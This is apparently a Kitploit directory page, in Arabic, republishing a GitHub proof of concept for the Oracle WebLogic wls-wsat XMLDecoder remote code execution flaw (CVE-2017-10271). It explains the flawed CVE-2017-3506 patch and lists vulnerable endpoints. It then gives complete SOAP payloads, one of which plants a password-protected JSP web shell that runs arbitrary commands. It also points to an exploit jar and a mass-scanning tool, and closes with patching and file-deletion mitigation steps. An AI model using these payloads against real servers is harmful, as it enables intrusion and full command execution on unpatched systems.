Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Oracle-WebLogic-CVE-2017-10271 — المؤلف الأصلي: Bearcat@secfree.com | Kitploit
أدوات/GitHubGitHub/xhsecurity/oracle-weblogic-cve-2017-10271
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةأداة الوصول عن بعد
GitHubxhsecurity/oracle-weblogic-cve-2017-10271

Oracle-WebLogic-CVE-2017-10271

المؤلف الأصلي: [email protected]

عرض المستودع
122منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

WebLogic Wls-wsat XMLDecoder

وصف الثغرة

mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

في وقت مبكر، استغل القراصنة ثغرة مكون WLS في WebLogic لشن هجمات عن بعد واسعة النطاق على خوادم المؤسسات، مما أدى إلى اختراق عدد كبير من خوادم المؤسسات، وارتفع عدد الخوادم المخترقة بشكل ملحوظ، مما يستدعي اهتمامًا كبيرًا. تعتبر CVE-2017-3506 ثغرة تنفيذ كود عن بعد في مكون WLS في Oracle WebLogic، وهي ثغرة تم استغلالها ميدانيًا دون الكشف عن تفاصيلها، ولم يقم العديد من المؤسسات بتثبيت التصحيح في الوقت المناسب. أصدرت الشركة الرسمية تصحيحًا لهذه الثغرة في أبريل 2017.

شرح تصحيح CVE-2017-3506:

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

لقد تمت إضافة دالة validate فقط قبل إلغاء التسلسل، حيث إذا كان qName يساوي object، يتم طرح استثناء وإنهاء العملية. هذه طريقة بسيطة وقوية، ولكن من الصعب إصلاح القائمة السوداء بشكل كامل. جدير بالتفكير...

طريقة استغلال هذه الثغرة بسيطة نسبيًا، حيث يحتاج المهاجم فقط إلى إرسال طلب HTTP محضر بعناية للحصول على صلاحيات الخادم المستهدف، مما يجعل الضرر كبيرًا. نظرًا لأن الثغرة جديدة نسبيًا، لا تزال العديد من الخوادم لم تقم بتحديث التصحيح. من المتوقع بعد هذا الحادث المفاجئ، أن يزداد عدد هجمات الاستغلال بشكل كبير، مما يؤدي إلى اختراق العديد من الخوادم الجديدة.

تصحيح Oracle الرسمي في أبريل لثغرة CVE-2017-3506 لم يكن كاملاً، ويمكن تجاوز التصحيح وتنفيذ الأوامر عن بعد. ثغرة CVE-2017-10271 الحالية القابلة للتجاوز قد تم إصلاحها في التصحيح الرسمي الصادر في أكتوبر.

رقم الثغرة

CVE-2017-10271 (ثغرة تجاوز تنفيذ الأوامر عن بعد في wls-wsat)

الإصدارات المتأثرة

Oracle WebLogic Server الإصدار 10.3.6.0.0

Oracle WebLogic Server الإصدار 12.1.3.0.0

Oracle WebLogic Server الإصدار 12.2.1.1.0

Oracle WebLogic Server الإصدار 12.2.1.2.0

قائمة أدلة wls-wsat

root@kitploit:~
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

طريقة الاستغلال

Poc:

CmdShell
root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/1.jpg)

exploit

CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami

root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/2.jpg)

exploit

تنفيذ الأوامر
root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                       <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/3.jpg)

exploit

استخدام Exp للحصول على CmdShell

WebLogic_Wls-Wsat_RCE_Exp.jar
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/4.jpg)

exploit

فحص الأصول بشكل جماعي

WebLogic-Wls-wsat-XMLDecoder
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/5.jpg)
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/6.jpg?raw=true)

exploit exploit

توصيات الإصلاح

  1. ترقية تصحيح Oracle لشهر أكتوبر.

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip

  1. تطبيق التحكم في الوصول على موارد wls-wsat.

  2. حل مؤقت

    في حال عدم تأثر الأعمال، قم بحذف حزم war والأدلة التالية في برنامج WebLogic وفقًا لبيئة المسار الفعلية.

root@kitploit:~
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

أعد تشغيل خدمة WebLogic أو النظام، ثم تأكد من أن الرابط التالي يعيد 404:

http://ip:port/wls-wsat/CoordinatorPortType11

تنزيل الأداة